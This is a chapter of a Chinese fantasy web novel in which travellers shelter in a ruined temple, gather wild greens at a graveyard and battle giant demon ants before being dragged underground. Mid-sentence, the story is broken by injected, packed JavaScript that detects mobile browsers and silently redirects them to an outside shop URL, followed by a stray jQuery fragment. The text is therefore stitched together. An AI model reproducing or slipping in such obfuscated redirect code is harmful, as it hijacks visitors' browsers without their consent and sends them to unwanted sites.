天高云淡,金风阵阵,一行人出了富丽堂皇、织锦披绣的丹谨国,倒也觉得这世间的风景荒凉、素淡了些。
几人踩着秋叶,赶风追月。一转眼竟过了半月有余,谷盈一累得脚软体乏,抱怨不休,茜绫和金漉被她吵得不胜其烦,故而几人停下来歇息。谷盈一坐在树桩上,一旁有一圈又一圈的年轮,她一只手虚虚地勾勒着,一只手拧开出水壶盖,大喝了一口水,又叫张择晓拿出舆图,道:“不久要到这座山了。”她指了指,先前未过境丹谨国时的山,此时果真还在发着青蓝色的光。
恰巧前面不远处有一荒凉废弃的寺庙,几人打算在这里过夜。
“喂,谷盈一,你不是不进寺庙吗?”茜绫眉眼带笑,故意奚落她。
“不关你的事。我爱去哪儿去哪儿。”谷盈一看了眼牌匾,字迹残缺,于是径直踏入庙内。
金漉见这寺庙墙生蜘蛛网,佛像断头臂,也没有人来上香火,久年积灰,他依稀辨认得是阿兰若寺,可这供奉的佛是哪位尊者却不得知,只见他青面狰狞,赤发冲霄,手中持钗,但通体法相庄严。作为释门子弟,金漉行了大礼,去寺庙外的荒地上刨了一些土,混着净水,搅拌成泥浆,又清扫了佛像,用残缺的瓦片抹泥,欲将那佛像修补好。
谷盈一摸了摸自己的黑白豹纹斜挎袋,发觉只有山间采的几个酸溜溜的野果子了,她又走过去,胡乱地摸了摸张择晓的身上,他倒是笑着顺势张开了双臂,任她搜索,谷盈一不理会他的情绪,只是一味地搜,搜了半天发现他身上也没东西可吃了。谷盈一就打上了金漉挎在背上的那个大大的包袱。
然而师兄妹两人还在怄气。谷盈一才不是那种主动低头的人呢。
可是,谷盈一此时已经饥肠辘辘。张择晓要去寻一些果子和野味,谷盈一一把拉住他,和他去了一旁,悄声道:“你将那个袈裟拿出来吧,说是我给金漉的,我实在饿极了,金漉他跟辟谷似的,吃的极少,想来他那包袱里还有干粮。”
张择晓深知在人间不比天上,四下是荒郊野岭,这会他有金子银子也买不到吃的。于是他答应了谷盈一,走到金漉身旁,拉他下来,悄声道:“金兄,谷盈一这会子别扭着呢,她想跟你和好,又不好意思自己说,叫我来给你送袈裟呢,这可是她亲自裁剪的,你给她个台阶下吧。”
金漉一双泥手,对张择晓执礼:“殿下。小僧并非刁难或者埋怨盈一,只是她如此这般,实在是违背了金漉一直以来的夙愿。出家人讲究以慈悲为怀,连草木也不忍心践踏,妖兽固然有错,可一念成魔一念成佛,怎的可以没有救赎自己的机缘呢?盈一她总是肆情妄为,百劝不改,如此,实不似仙家。”
“金兄,我懂你的意思,可是就像一个人得了痼疾,如若根治,也得须些时日才对,你是她的兄长,且不与她置气吧,她心地是有大善的,别叫她再难受了,请收下这袈裟吧。”
金漉思忖片刻,便收下了袈裟,叫谷盈一过来帮忙抹泥,师兄妹二人和好如初。
干粮吃完后,谷盈一竟在那破落斑驳的佛像后面找到了一个旧铁锅。
谷盈一召出两张黄纸符,捻诀道:“千百度,阑珊处,寻!”那两张纸符泛着紫光,悠悠荡荡向远方飞去。
不消片刻,谷盈一指着偏西的地方对茜绫道:“好茜绫,麻烦你去取点水吧,西边有一条小溪。”
“咦?你这会怎的如此客气了?必有狡诈吧!”
“我若是扯谎,我就是你的孙娃子,搞快些,回来一起煮菜汤喝!若是你幸运的话,逮点鱼虾黄鳝也是可以的。”谷盈一催促道。
“哪来的菜?”茜绫看着这寺庙周围残垣断壁,枯草重生的,不禁心中疑惑不解。
“等下你就晓得咯,莫磨磨叽叽的,快些走。”谷盈一不耐烦了。
谷盈一见茜绫走远后,又贴在金漉身旁像小狗似的,他还在抹泥,便抓住他的裤脚道:“师兄,不劳你辛苦了啊,你坐这里等着就好了,我去去就回。”
说罢,拉着张择晓走出寺庙外。
“去哪儿宫主?”张择晓问道。
谷盈一停下来,对他笑了笑。张择晓呼吸一滞:天呐,她对我笑,她还拉着我的衣袖,哪怕是鬼门关还是重重地狱我都跟她去。
可是谷盈一笑得很狡黠,她拿捏着阴冷的调子说:“请你去挖野菜,可是在墓地哦~”
“可是道术探到了?”张择晓问。
“当然,不信我?你去不去?”
“不可能不去,请带路,宫主大人。”张择晓略一拱手。
谷盈一趾高气昂地走在前头。
东南有墓,多为乱葬坟。果真是阴邪之地,残枝尖锐似獠牙,直冲云霄,黑虬粗壮如恶蟒,盘旋树干,夜鸮凄叫声连连,黑鸦展翅齐嘶嘶。谷盈一却跑了过去,从一处低矮的土坟处,用手拔了一个苣荬菜,她叫张择晓道:“快来,有好多!”
张择晓也是犁过地的神仙了,他再也不似初到地府那般,心有余悸了,于是他蹲在谷盈一的身边,挖了很多苣荬菜,并打算多挖点。
茜绫也是收获颇多,她不仅装满了水壶,竟真的从水里捞了一条青鱼,足足有十多寸长,一斤重。她倒是没有下水,见水里有鱼,于是召出箜篌,弹出一条红波来,波化细线,将它穿引到岸。
茜绫赶回寺庙,见金漉还在泥塑佛像,却迟迟不见谷盈一她俩的人影。
于是问道:“金师兄,谷盈一和八殿下去哪里了?怎么还没有回来?”
金漉道:“不知道,他俩外出多些时间,旁人也是不甚在意的。”
“不是啊金师兄,即使八殿下是天界来的,可是一路上少不得危险重重呢,又何况谷盈一那莽撞性子。可比不得您是出家人,无论做什么事都如此平静,我可待不住,先去找他们了。”说罢,茜绫给锅子里倒些水,将鱼放进去,问了金漉,谷盈一和张择晓去的方向,便去东南寻人了。
谷盈一蹲在地上,也不顾衣裙、手指被泥土弄得脏兮兮的,只顾得挖野菜了。这时,她觉得后背酥酥痒痒的,她回头一望,竟是一只比坟头还大许多的、树冠一般
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734955|206072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的黑蚂蚁,两只编钟大的眼睛里发着惨绿的光,头上两根触角更是如邪恶的麻绳,催人去上吊。
“竟是个妖怪来送死了!”谷盈一扔下野菜,掣出青铜剑,身披灌灌羽衣,与它打斗起来。
张择晓见状,灵笔化剑,连忙来帮谷盈一,谁料,他的身后也有一只庞大的黑蚂蚁,无暇分身,与之打斗起来。
谷盈一凭借着灵活的身姿,几个回合后,那蚂蚁败下阵来,于是趁机削掉它的触角如同削泥,那蚂蚁受痛摇摆着身子,谷盈一又趁势将它的四肢砍断,大卸八块,吸了魂魄。
张择晓也是轻松解决掉了巨型蚂蚁。
谷盈一问道:“这里怎么会有蚂蚁呢?还这么大,定是吸了不少人的魂魄!”
“宫主,这里皆是坟墓,蚂蚁会分解人的尸体,加上久无人烟,怕是有野鬼游荡,阴气郁结,宫主要小心呀。”
“哼,我小心什么?本主可是地府来的,这根本就是小菜一碟好吧,不带怕的。就算来一百只都不在意,来一只我杀一只。”
话毕,夜鸮盘旋,坟头里爬出雨后春笋般的大蚂蚁。
“我服了……”谷盈一说罢拿剑向它们砍去,又召出团团紫火去烧,漆黑的夜下,紫绿相杀,煞是丽达,谷盈一越打越起劲,这黑蚂蚁不愧是吸了人的怨气、怒气和煞气的,比纯吸取日月花草果木精华的精怪要厉害许多。
那蚂蚁的口中吐着黑气,爪子如刺枪,速度相当惊人,着实有些难缠。谷盈一越打越气,一两只还好,多了属实是乏力,她的地火烧得成了一个个紫火球,化为灰烬后,又从坟头里爬出来一只又一只。
茜绫赶来,见谷盈一她们与妖怪缠斗,即刻召出箜篌,弹出涟漪般的红光,一波又一波,将其打晕。
谷盈一抓住一只即将晕倒的蚂蚁,拿剑柄往它脑袋上敲了又敲,拽住它的两个触角,飞身其上,蚂蚁横冲直撞,谷盈一在它的背上乱看乱杀。
那蚂蚁是妖怪,也不是傻子来的,它竟往张择晓身上冲去,谷盈一跳将下来,一把火将它烧了个干净。
忽的,蚂蚁们不与其打斗了,而是聚集起来,站成一排排一列列,口吐浓厚的黑气,将他们围了起来,最内里的一层蚂蚁在混乱的厮杀中,将三人用两肢钳住,一一带入坟墓里。
坟墓下,竟无棺材,也无人骨,竟是黑漆漆圆溜溜的洞。
谷盈一被扔进一个洞里,倒也不算拥挤,可以容得下她和一只大蚂蚁,土洞最里头还有一个拳头大的长长的甬道。
那蚂蚁的眼睛将坟洞照的绿兮兮的,这让谷盈一觉得倍感亲切,她燃起一团紫火,将它烧死,化成的灰烬垫在洞里,呛得谷盈一直咳嗽,等烟雾散去后,谷盈一开始拿剑向上掘土,这又叫她熟稔,早在神墟幻境里她练就了一身挖土的好本事,这下又可以大展身手了,她开心极了,轻车熟路地挖呀挖。
张择晓也被带入了坟下的洞里。只不过这洞倒是宽敞,洞内有夜明珠照着,室内有一太师椅,覆着兽皮。张择晓心下暗道不好,他怎么会在这里?